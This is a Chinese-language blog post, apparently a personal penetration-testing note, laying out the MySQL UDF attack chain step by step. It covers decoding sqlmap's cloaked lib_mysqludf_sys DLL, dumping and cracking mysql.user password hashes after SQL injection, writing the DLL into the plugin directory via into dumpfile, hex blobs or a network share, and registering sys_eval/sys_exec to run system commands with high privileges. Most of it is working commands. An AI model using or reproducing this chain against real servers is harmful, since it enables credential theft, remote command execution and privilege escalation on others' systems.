mysql udf
最近用到了udf总结一下吧
UDF
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。通过动态库方式实现
UDF 编写
自己编写
MySQL通过UDF实现扩展功能(Linux环境和Windows环境)
GitHub上找,进行修改
利用sqlmap中的udf.dll
在sqlmap/udf/mysql/windows目录下,里面有32位和64位,注意:这里的位数是mysql的位数,并不是对方系统的位数(这里我遇到了这个问题,对方用的是64位系统,但mysql装的是32位,所以你要用32位的dll, 不然会报errno:193)
还有一个需要注意的是,sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中,在sqlmap/extra/cloak目录下的cloak.py就是接码文件
python cloak.py -d -i .../64/lib_mysqludf_sys.dll_
亲测可以使用(真香)
UDF的使用条件
- 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
- 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
1,2 这两个条件非常重要,因为现在大部分mysql都是5.1以上的版本,这就会造成很大的问题
mysql 5.1以后必须将dll放在lib\plugin文件夹下,而这个plugin目录默认是不存在的。。。into dumpfile来讲dll传到主机上这个方法就很难了,但还是有希望对方自己建了(我遇到了5.6的mysql但它有plugin,有它自定义的写dll)
show variables like '%plugin%'; //查看plugin_dir, 这个变量的值是只读的, 想要改必须修改mysql.ini文件
可以通过mysqld更改plugin的目录位置。
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
另一种方法是编写一个新的mysql配置文件,并通过–defaults-file参数将其传递给mysqld
mysqld.exe --defaults-file=C:\\temp\\my.ini
‘my.ini’中的内容如下:
[mysqld]
plugin_dir = C:\\temp\\plugins\\
-
上传权限,就是必须能将dll传到指定的文件夹的权限, into dumpfile这个方法如果能用没被禁,应该上传就没什么问题
-
数据库账户,拥有对mysql的insert和delete权限,以创建和抛弃函数。
4 这个条件应该是最重要的…(没有账号你说个**), 要是你想用into dumpfile来传文件,还需要更大的权限。
-
听说(只是听说,没做测试),在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。[转]MYSQL中的UDF – Can’t open shared library 的研究 这个基本意义也不大,4.1基本没得用了吧
UDF使用方法
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
这里注意sys_eval,必须是你dll中定义的函数名, 可以用十六进制编辑器打开dll,查看有哪些函数
然后就可以使用了
select sys_eval('net user');
然后就成功了(这里导入sys_exec的时候遇到过点问题, 导入成功后(应该是命令用错了)就直接崩了,连接不上mysql了…重启后再用这个函数也有问题,暂时不知道, 下面有一篇文章,看了后,发现可能是这些外部UDF函数在拆解代码中没有做适当的异常处理。因此,在调用这些函数时稍有错误就会导致mysqld.exe服务器崩溃)
然后权限特别高(不知道是不是都能得到这个权限)
UDF 的渗透姿势
简单说下上面文章的思路,和用到的一些命令
-
首先发现了sql注入,我们可以执行sql命令
-
我们利用注入来获取用户名和密码
# MySQL 5.6 and below select host, user, password from mysql.user; # MySQL 5.7 and above select host, user, authentication_string from mysql.user;
-
利用metasploit的mysql_hashdump.rb辅助模块或者别的方法来破解上面获取到的密码哈希值
-
找到我们可以登录的用户,破解哈希值后,远程连接,连接成功后先查看这个用户的权限
select * from mysql.user where user = substring_index(user(), '@', 1) ; // 解释下这里的user, 查出来的是类似[email protected]这样的数据,但我们只要username所以我们这里做了substring_index这一操作
-
根据权限判断此用户是否有读写操作权, 不然没有读写操作权怎么传dll
讲道理我觉得这里还要看下secure_file_priv 参数, 这个参数不为空也没法上传下载文件
select @@secure_file_priv
-
有上传权限后就准备上传,正如上面提到的上传条件,这里就要来先确定mysql版本,和上传目录,要是是5.1以后的,没有plugin这个目录,也很难做了
-
然后是上传文件,前面自己写上传工具的时候遇到的问题发现在这里还是能解决大半
1 load_file
select hex(load_file('path')) into dumpfile '/tmp/udf.hex'; select … into dump file "D:\\MySQL\\...\\lib\\plugin\\udf.dll";
这里用hex来保证二进制文件的传输
2 load_file 网络方式(这个确实自己没想过)
load_file函数支持网络路径。如果你可以将DLL复制到网络共享中,那么你就可以直接加载并将它写入磁盘。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\...\\plugin\\udf.dll";
3 建表(这里强调blob这个类型)
create table temp(data longblob); insert into temp(data) values (0x...); update temp set data = concat(data,0x...); //这里考虑的很细啊,传输长度做了限制的话,可以通过这样的方式来拼接,当然我觉得这里写个脚本来操作会方便很多 select data from temp into dump file "D:\\MySQL\\...\\udf.dll";
4 建表通过网络方式导入
// 这里用上面的表 load data infile '\\\\192.168.0.19\\network\\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data); select unhex(data) from temp into dumpfile 'D:\\MySQL\\...\\plugin\\udf.dll';
还有MySQL 5.6.1后可以用o_base64和from_base64函数来替代hex函数传递二进制文件
-
上传成功后就是添加我们的函数
这里能添加的函数,要具体看上传的dll,上面的文章也介绍了常用的dll中常用的函数
create function sys_exec returns int soname 'udf.dll'; //添加函数 select * from mysql.func where name = 'sys_exec'; //验证查询我们添加的函数 drop function sys_exec; //删除函数
-
执行我们的命令
select sys_eval('dir');
整体就是上面这么一个流程,但依旧会有很多问题,比如上面的一些函数,用到的一些模块会不会被禁而导致函数不能使用,然后使用出错会导致mysql崩溃也需要注意。整体来看udf也不能算一个漏洞,只能说是程序的一项功能被进行了不好的利用。
当然我觉得把udf完全当做一个渗透方法来使用就太过狭隘,它的提权功能不能被忽略,毕竟system权限啊